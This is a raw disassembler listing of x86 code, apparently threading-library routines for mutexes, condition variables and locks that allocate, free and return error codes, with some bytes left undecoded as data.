mov dword ptr [esi+8], 0
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDB8
push eax
mov eax, [esi+0Ch]
lea ecx, [esi+14h]
push eax
push ecx
call sub_401C76
add esp, 0Ch
test eax, eax
jnz short loc_42EDAF
mov [ebx], esi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDAF: ; CODE XREF: ___:0042EDA7j
push edi
call sub_401686
add esp, 4
loc_42EDB8: ; CODE XREF: ___:0042ED92j
push esi
nop
call near ptr 77C2C21Bh
add esp, 4
loc_42EDC2: ; CODE XREF: ___:0042ED5Cj
pop edi
pop esi
mov eax, 0Ch
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EDCB: ; CODE XREF: ___:0042ED39j
; ___:0042ED45j
pop edi
pop esi
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EE10: ; CODE XREF: ___:004021E9j
push ebx
push ebp
mov ebp, [esp+0Ch]
push esi
test ebp, ebp
push edi
jz short loc_42EE78
mov esi, [ebp+0]
test esi, esi
jz short loc_42EE78
lea ebx, [esi+10h]
mov dword ptr [ebp+0], 0
push ebx
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE6E
lea eax, [esi+14h]
push eax
call sub_401686
mov edi, eax
add esp, 4
test edi, edi
jnz short loc_42EE5F
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE5F: ; CODE XREF: ___:0042EE4Cj
mov ecx, [esi+0Ch]
push 0
push ecx
push ebx
call sub_401C76
add esp, 0Ch
loc_42EE6E: ; CODE XREF: ___:0042EE3Aj
mov eax, edi
mov [ebp+0], esi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42EE78: ; CODE XREF: ___:0042EE1Aj
; ___:0042EE21j
pop edi
pop esi
pop ebp
mov eax, 16h
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EEB0: ; CODE XREF: ___:00401799j
mov eax, [esp+4]
push esi
test eax, eax
jz loc_42EF64
mov esi, [eax]
test esi, esi
jz loc_42EF64
push ebp
lea ebp, [esi+8]
push edi
push esi
mov edi, [ebp+0]
nop
call near ptr 2750B48h
test eax, eax
jnz short loc_42EEF7
mov eax, [esi+4]
cmp eax, 1
mov [esi], eax
jbe short loc_42EF44
dec eax
push eax
lea eax, [esi+edi*4+10h]
push eax
call sub_40204A
add esp, 8
mov esi, eax
jmp short loc_42EF40
; ---------------------------------------------------------------------------
loc_42EEF7: ; CODE XREF: ___:0042EED8j
push ebx
call sub_4012E4
; ---------------------------------------------------------------------------
mov ecx, [eax+34h]
mov ebx, 1
cmp ecx, ebx
jnz short loc_42EF1B
lea ecx, [esp+14h]
push ecx
push ebx
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jz short loc_42EF1D
loc_42EF1B: ; CODE XREF: ___:0042EF07j
xor ebx, ebx
loc_42EF1D: ; CODE XREF: ___:0042EF19j
lea edx, [esi+edi*4+10h]
push edx
call sub_401041
add esp, 4
mov esi, eax
test ebx, ebx
pop ebx
jz short loc_42EF40
mov eax, [esp+10h]
push 0
push eax
call sub_40140B
; ---------------------------------------------------------------------------
add esp, 8
loc_42EF40: ; CODE XREF: ___:0042EEF5j
; ___:0042EF2Fj
test esi, esi
jnz short loc_42EF5E
loc_42EF44: ; CODE XREF: ___:0042EEE2j
mov ecx, 1
push edi
sub ecx, edi
push ecx
push ebp
call dword_50E3EC ; InterlockedCompareExchange
xor edx, edx
cmp edi, eax
setnz dl
dec edx
mov esi, edx
loc_42EF5E: ; CODE XREF: ___:0042EF42j
pop edi
mov eax, esi
pop ebp
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF64: ; CODE XREF: ___:0042EEB7j
; ___:0042EEC1j
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFA0: ; CODE XREF: ___:00401F50j
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42EFC3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42EFC3: ; CODE XREF: ___:0042EFB2j
mov ecx, [esp+8]
mov dword ptr [eax], 0
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42EFF0: ; CODE XREF: ___:00401A73j
mov ecx, [esp+4]
push esi
xor esi, esi
test ecx, ecx
jz short loc_42F011
mov eax, [ecx]
test eax, eax
jz short loc_42F011
push eax
mov [ecx], esi
nop
call near ptr 77C2C21Bh
add esp, 4
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F011: ; CODE XREF: ___:0042EFF9j
; ___:0042EFFFj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F030: ; CODE XREF: ___:0040127Bj
mov eax, [esp+4]
test eax, eax
jz short loc_42F04D
mov eax, [eax]
test eax, eax
jz short loc_42F04D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F04D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F04D: ; CODE XREF: ___:0042F036j
; ___:0042F03Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F070: ; CODE XREF: ___:0040162Cj
mov eax, [esp+4]
test eax, eax
jz short loc_42F09A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F09A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F08E
test eax, eax
jnz short loc_42F09A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F08E: ; CODE XREF: ___:0042F085j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F09A: ; CODE XREF: ___:0042F076j
; ___:0042F07Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F0B0 proc near ; CODE XREF: sub_40140Bj
push esi
push edi
call sub_4012E4
sub_42F0B0 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h
dd 90525738h, 32176EE8h, 75C08502h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 32185CE8h, 0A4E85302h
dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh
dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F170: ; CODE XREF: ___:0040223Ej
push ebx
push esi
call sub_4012E4
; ---------------------------------------------------------------------------
db 8Bh
dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h
dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h
dd 0E8525338h, 23216AFh, 75C08590h, 38468B28h, 30C46C7h
dd 50000000h, 13046C7h, 90000000h, 32179CE8h, 0E4E85702h
dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh
dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F230 proc near ; CODE XREF: sub_401CEEj
push esi
push edi
call sub_4012E4
sub_42F230 endp
; ---------------------------------------------------------------------------
db 8Bh
dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h
dd 8B2E7401h, 6A3846h, 10E89050h, 85023216h, 571E75C0h
dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh
dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h
dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42F2B0: ; CODE XREF: ___:00401D25j
sub esp, 2D0h
push esi
mov esi, [esp+2D8h]
push 0
push esi
call sub_401758
add esp, 8
mov [esp+4], eax
test eax, eax
jnz loc_42F3E9
call sub_4012E4
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_42F2EB
mov eax, 0Ch
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F2EB: ; CODE XREF: ___:0042F2DCj
push ebx
push ebp
push edi
push eax
push esi
call sub_401A50
lea ebx, [esi+2Ch]
mov edi, eax
push ebx
call sub_402225
mov eax, [esi+34h]
add esp, 0Ch
test eax, eax
mov ebp, 3
jnz loc_42F3C2
mov eax, [esi+30h]
test eax, eax
jnz loc_42F3C2
cmp [esi+0Ch], ebp
jge loc_42F3D5
test edi, edi
jz short loc_42F354
push ebx
mov [esi+0Ch], ebp
mov dword ptr [esi+30h], 1
call sub_4010C3
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
mov eax, [esp+18h]
add esp, 8
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F354: ; CODE XREF: ___:0042F329j
mov edi, [esi+4]
push edi
nop
call near ptr 2740DC6h
push 0
push edi
nop
call near ptr 275086Bh
cmp eax, 102h
jnz short loc_42F3E2
lea eax, [esp+14h]
mov [esi+0Ch], ebp
push eax
push edi
mov dword ptr [esi+30h], 1
mov dword ptr [esp+1Ch], 10001h
nop
call near ptr 2750000h
lea ecx, [esp+14h]
mov dword ptr [esp+0CCh], offset loc_42F460
push ecx
push edi
call near ptr 2750197h
nop
push ebx
call sub_4010C3
add esp, 4
push edi
call near ptr 2750441h
nop
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
loc_42F3C2: ; CODE XREF: ___:0042F30Dj
; ___:0042F318j
cmp [esi+0Ch], ebp
jge short loc_42F3D5
mov edx, [esi+38h]
push edx
nop
call near ptr 2750650h
test eax, eax
jnz short loc_42F3D9
loc_42F3D5: ; CODE XREF: ___:0042F321j
; ___:0042F3C5j
mov [esp+10h], ebp
loc_42F3D9: ; CODE XREF: ___:0042F3D3j
push ebx
call sub_4010C3
add esp, 4
loc_42F3E2: ; CODE XREF: ___:0042F36Cj
mov eax, [esp+10h]
pop edi
pop ebp
pop ebx
loc_42F3E9: ; CODE XREF: ___:0042F2CFj
pop esi
add esp, 2D0h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 60h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F460: ; DATA XREF: ___:0042F390o
push 2
call sub_401DD4
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F480 proc near ; CODE XREF: sub_401122j
mov eax, dword_50E3DC
push esi
push eax
call sub_401190
sub_42F480 endp
; ---------------------------------------------------------------------------
mov esi, eax
add esp, 4
test esi, esi
jz short loc_42F4BE
mov eax, [esp+8]
test eax, eax
jz short loc_42F4AC
mov eax, [esi]
test eax, eax
jz short loc_42F4AC
mov ecx, [esi+4]
push ecx
call eax
add esp, 4
loc_42F4AC: ; CODE XREF: ___:0042F49Bj
; ___:0042F4A1j
mov edx, [esi+8]
mov eax, dword_50E3DC
push edx
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 8
loc_42F4BE: ; CODE XREF: ___:0042F493j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42F4F0 proc near ; CODE XREF: sub_401659j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
mov ecx, [esp+arg_8]
push esi
mov esi, [esp+4+arg_0]
mov [esi], eax
mov [esi+4], ecx
mov edx, dword_50E3DC
push edx
call sub_401190
sub_42F4F0 endp
; ---------------------------------------------------------------------------
mov [esi+8], eax
mov eax, dword_50E3DC
push esi
push eax
call sub_4020DB
; ---------------------------------------------------------------------------
add esp, 0Ch
pop esi
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F540 proc near ; CODE XREF: sub_401B4Fj
arg_0 = dword ptr 4
push esi
push offset dword_50E920
xor esi, esi
nop
call near ptr 7C901005h
mov ecx, [esp+4+arg_0]
mov eax, [ecx]
cmp eax, 0FFFFFFFFh
jnz short loc_42F574
push esi
push ecx
call sub_401541
add esp, 8
mov esi, eax
push offset dword_50E920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F574: ; CODE XREF: sub_42F540+17j
test eax, eax
jnz short loc_42F57D
mov esi, 16h
loc_42F57D: ; CODE XREF: sub_42F540+36j
push offset dword_50E920
nop
call near ptr 7C9010EDh
mov eax, esi
pop esi
retn
sub_42F540 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5B0: ; CODE XREF: ___:004020FEj
push esi
push 4
push 1
xor esi, esi
nop
call near ptr 77C2C0C3h
add esp, 8
test eax, eax
jnz short loc_42F5D3
mov edx, [esp+8]
mov ecx, 0Ch
pop esi
mov [edx], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42F5D3: ; CODE XREF: ___:0042F5C2j
mov ecx, [esp+8]
mov [ecx], eax
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F5F0: ; CODE XREF: ___:004021D0j
push esi
mov esi, [esp+8]
test esi, esi
jz short loc_42F613
mov eax, [esi]
test eax, eax
jz short loc_42F613
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F613: ; CODE XREF: ___:0042F5F7j
; ___:0042F5FDj
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F630: ; CODE XREF: ___:00401005j
mov eax, [esp+4]
test eax, eax
jz short loc_42F64D
mov eax, [eax]
test eax, eax
jz short loc_42F64D
mov ecx, [esp+8]
test ecx, ecx
jz short loc_42F64D
mov eax, [eax]
mov [ecx], eax
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42F64D: ; CODE XREF: ___:0042F636j
; ___:0042F63Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42F670: ; CODE XREF: ___:004012ADj
mov eax, [esp+4]
test eax, eax
jz short loc_42F69A
mov ecx, [eax]
test ecx, ecx
jz short loc_42F69A
mov eax, [esp+8]
cmp eax, 1
jz short loc_42F68E
test eax, eax
jnz short loc_42F69A
mov [ecx], eax
retn
; ---------------------------------------------------------------------------
loc_42F68E: ; CODE XREF: ___:0042F685j
mov eax, 28h
mov dword ptr [ecx], 0
retn
; ---------------------------------------------------------------------------
loc_42F69A: ; CODE XREF: ___:0042F676j
; ___:0042F67Cj ...
mov eax, 16h
retn
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F6B0 proc near ; CODE XREF: sub_401541j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
jnz short loc_42F6C6
pop edi
mov eax, 16h
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj
mov eax, [esp+8+arg_4]
push ebx
cmp eax, edi
push ebp
jz short loc_42F6ED
mov eax, [eax]
cmp eax, edi
jz short loc_42F6ED
cmp dword ptr [eax], 1
jnz short loc_42F6ED
mov edx, [esp+10h+arg_0]
mov edi, 28h
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej
; sub_42F6B0+24j ...
push 20h
push 1
nop
call near ptr 77C2C0C3h
mov esi, eax
add esp, 8
cmp esi, edi
jnz short loc_42F712
mov edx, [esp+10h+arg_0]
mov edi, 0Ch
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F712: ; CODE XREF: sub_42F6B0+4Ej
lea ebp, [esi+10h]
push 1
push edi
push ebp
mov [esi], edi
mov [esi+8], edi
mov [esi+4], edi
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F737
nop
call near ptr 77C1F2BCh
mov edi, [eax]
jmp short loc_42F77B
; ---------------------------------------------------------------------------
loc_42F737: ; CODE XREF: sub_42F6B0+7Bj
lea ebx, [esi+0Ch]
push 0
push 0
push ebx
call sub_401C76
add esp, 0Ch
test eax, eax
jz short loc_42F755
call near ptr 77C1F2BCh
nop
mov edi, [eax]
jmp short loc_42F772
; ---------------------------------------------------------------------------
loc_42F755: ; CODE XREF: sub_42F6B0+99j
lea eax, [esi+14h]
push 0
push eax
call sub_402199
mov edi, eax
add esp, 8
test edi, edi
jz short loc_42F7DF
push ebx
call sub_401686
add esp, 4
loc_42F772: ; CODE XREF: sub_42F6B0+A3j
push ebp
call sub_401686
add esp, 4
loc_42F77B: ; CODE XREF: sub_42F6B0+85j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
xor esi, esi
test edi, edi
jnz short loc_42F7D2
loc_42F78B: ; CODE XREF: sub_42F6B0+131j
push offset dword_50E9A0
nop
call near ptr 7C901005h
mov dword ptr [esi+18h], 0
mov ecx, dword_50E3E4
mov [esi+1Ch], ecx
mov eax, dword_50E3E4
test eax, eax
jz short loc_42F7B2
mov [eax+18h], esi
loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj
mov eax, dword_50E3E0
mov dword_50E3E4, esi
test eax, eax
jnz short loc_42F7C7
mov dword_50E3E0, esi
loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj
push offset dword_50E9A0
nop
call near ptr 7C9010EDh
loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j
mov edx, [esp+10h+arg_0]
pop ebp
mov eax, edi
pop ebx
mov [edx], esi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j
xor edi, edi
jmp short loc_42F78B
sub_42F6B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F840 proc near ; CODE XREF: sub_401A91j
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebx
push ebp
push esi
push edi
mov edi, [esp+14h+arg_0]
xor esi, esi
xor ebp, ebp
xor ebx, ebx
test edi, edi
mov [esp+14h+var_4], ebp
jz loc_42F9EC
mov eax, [edi]
test eax, eax
jz loc_42F9EC
cmp eax, 0FFFFFFFFh
jz loc_42F9A3
push offset dword_50E9A0
nop
call near ptr 7C901005h
mov esi, [edi]
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42F899
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F899: ; CODE XREF: sub_42F840+49j
lea ebp, [esi+14h]
push ebp
call sub_40177B
add esp, 4
mov [esp+14h+arg_0], eax
test eax, eax
jz short loc_42F8C0
push ebx
call sub_40103C
mov eax, [esp+18h+arg_0]
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F8C0: ; CODE XREF: sub_42F840+6Bj
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jle short loc_42F8F9
push ebx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42F8E2
nop
call near ptr 77C1F2BCh
mov ecx, [eax]
mov [esp+14h+arg_0], ecx
loc_42F8E2: ; CODE XREF: sub_42F840+94j
push ebp
call sub_4010C3
add esp, 4
mov [esp+14h+var_4], eax
mov ebx, 10h
jmp loc_42F98E
; ---------------------------------------------------------------------------
loc_42F8F9: ; CODE XREF: sub_42F840+87j
push ebx
mov dword ptr [edi], 0
call sub_401686
mov edi, dword_50FA64
add esp, 4
test eax, eax
jz short loc_42F91A
call edi
mov edx, [eax]
mov [esp+14h+arg_0], edx
loc_42F91A: ; CODE XREF: sub_42F840+D0j
lea eax, [esi+0Ch]
push eax
call sub_401686
add esp, 4
test eax, eax
jz short loc_42F932
call edi
mov ecx, [eax]
mov [esp+14h+var_4], ecx
loc_42F932: ; CODE XREF: sub_42F840+E8j
push ebp
call sub_4010C3
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_42F94C
push ebp
call sub_40222F
add esp, 4
mov ebx, eax
loc_42F94C: ; CODE XREF: sub_42F840+FFj
cmp dword_50E3E0, esi
jnz short loc_42F95F
mov edx, [esi+18h]
mov dword_50E3E0, edx
jmp short loc_42F968
; ---------------------------------------------------------------------------
loc_42F95F: ; CODE XREF: sub_42F840+112j
mov eax, [esi+1Ch]
mov ecx, [esi+18h]
mov [eax+18h], ecx
loc_42F968: ; CODE XREF: sub_42F840+11Dj
cmp dword_50E3E4, esi
jnz short loc_42F97B
mov edx, [esi+1Ch]
mov dword_50E3E4, edx
jmp short loc_42F984
; ---------------------------------------------------------------------------
loc_42F97B: ; CODE XREF: sub_42F840+12Ej
mov eax, [esi+18h]
mov ecx, [esi+1Ch]
mov [eax+1Ch], ecx
loc_42F984: ; CODE XREF: sub_42F840+139j
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_42F98E: ; CODE XREF: sub_42F840+B4j
push offset dword_50E9A0
nop
call near ptr 7C9010EDh
mov esi, [esp+14h+arg_0]
mov ebp, [esp+14h+var_4]
jmp short loc_42F9D2
; ---------------------------------------------------------------------------
loc_42F9A3: ; CODE XREF: sub_42F840+28j
push offset dword_50E920
nop
call near ptr 7C901005h
cmp dword ptr [edi], 0FFFFFFFFh
jnz short loc_42F9BB
mov dword ptr [edi], 0
jmp short loc_42F9C7
; ---------------------------------------------------------------------------
loc_42F9BB: ; CODE XREF: sub_42F840+171j
mov [esp+14h+arg_0], 10h
mov esi, [esp+14h+arg_0]
loc_42F9C7: ; CODE XREF: sub_42F840+179j
push offset dword_50E920
nop
call near ptr 7C9010EDh
loc_42F9D2: ; CODE XREF: sub_42F840+161j
test esi, esi
jz short loc_42F9DE
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9DE: ; CODE XREF: sub_42F840+194j
test ebp, ebp
mov eax, ebp
jnz short loc_42F9F1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42F9EC: ; CODE XREF: sub_42F840+15j
; sub_42F840+1Fj
mov eax, 16h
loc_42F9F1: ; CODE XREF: sub_42F840+1A2j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42F840 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FA70 proc near ; CODE XREF: sub_401203j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push eax
push ecx
call sub_42FAA0
add esp, 0Ch
retn
sub_42FA70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp
; sub_42FD70+19p
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 20h
push esi
mov esi, [esp+24h+arg_0]
test esi, esi
push edi
mov [esp+28h+var_20], 0
jz loc_42FBA9
mov eax, [esi]
test eax, eax
jz loc_42FBA9
cmp eax, 0FFFFFFFFh
jnz short loc_42FAE2
push esi
call sub_401B4F
add esp, 4
mov [esp+28h+var_20], eax
test eax, eax
jz short loc_42FAE2
cmp eax, 10h
jnz loc_42FBAE
loc_42FAE2: ; CODE XREF: sub_42FAA0+26j
; sub_42FAA0+37j
mov esi, [esi]
lea edi, [esi+10h]
push edi
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FB02
call near ptr 77C1F2BCh
nop
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB02: ; CODE XREF: sub_42FAA0+52j
mov ecx, [esi]
push edi
inc ecx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FB22
nop
call near ptr 77C1F2BCh
mov eax, [eax]
pop edi
pop esi
add esp, 20h
retn
; ---------------------------------------------------------------------------
loc_42FB22: ; CODE XREF: sub_42FAA0+72j
mov edi, [esp+28h+arg_4]
lea ecx, [esp+28h+var_10]
push ecx
lea edx, [esp+2Ch+var_1C]
lea eax, [esp+2Ch+var_20]
push offset loc_42FC10
push edx
mov [esp+34h+var_10], edi
mov [esp+34h+var_C], esi
mov [esp+34h+var_8], eax
mov [esp+34h+var_4], 0
call sub_401659
; ---------------------------------------------------------------------------
dw 0E857h
dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h
dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h
dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah
dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h
dd 20C4835Eh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42FBA9: ; CODE XREF: sub_42FAA0+13j
; sub_42FAA0+1Dj
mov eax, 16h
loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj
pop edi
pop esi
add esp, 20h
retn
sub_42FAA0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42FC10: ; DATA XREF: sub_42FAA0+93o
push ecx
push ebx
push ebp
mov ebp, [esp+10h]
push esi
push edi
mov esi, [ebp+4]
mov ebx, [ebp+8]
mov [esp+18h], ebx
lea edi, [esi+14h]
push edi
call sub_402225
add esp, 4
test eax, eax
jz short loc_42FC3B
pop edi
pop esi
mov [ebx], eax
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC3B: ; CODE XREF: ___:0042FC31j
mov ebx, [esi+8]
test ebx, ebx
mov [esp+10h], ebx
jz short loc_42FC4E
lea eax, [ebx-1]
mov [esi+8], eax
jmp short loc_42FCB7
; ---------------------------------------------------------------------------
loc_42FC4E: ; CODE XREF: ___:0042FC44j
mov ecx, [esi+4]
inc ecx
mov eax, ecx
mov [esi+4], ecx
cmp eax, 3FFFFFFFh
jnz short loc_42FCB7
lea ebx, [esi+10h]
push ebx
call sub_401041
add esp, 4
test eax, eax
jz short loc_42FC82
nop
call near ptr 77C1F2BCh
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FC82: ; CODE XREF: ___:0042FC6Cj
mov eax, [esi+4]
mov ecx, [esi]
sub ecx, eax
push ebx
mov [esi], ecx
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCAC
call near ptr 77C1F2BCh
nop
mov edx, [esp+18h]
mov ecx, [eax]
pop edi
pop esi
pop ebp
mov [edx], ecx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCAC: ; CODE XREF: ___:0042FC96j
mov ebx, [esp+10h]
mov dword ptr [esi+4], 0
loc_42FCB7: ; CODE XREF: ___:0042FC4Cj
; ___:0042FC5Cj
push edi
call sub_4010C3
add esp, 4
test eax, eax
jz short loc_42FCD0
mov ecx, [esp+18h]
pop edi
pop esi
pop ebp
mov [ecx], eax
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42FCD0: ; CODE XREF: ___:0042FCC2j
cmp ebx, 1
jnz short loc_42FCF9
add esi, 10h
push esi
call sub_40103C
add esp, 4
test eax, eax
jz short loc_42FCF9
nop
call near ptr 77C1F2BCh
mov edx, [eax]
mov eax, [esp+18h]
pop edi
pop esi
pop ebp
mov [eax], edx
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
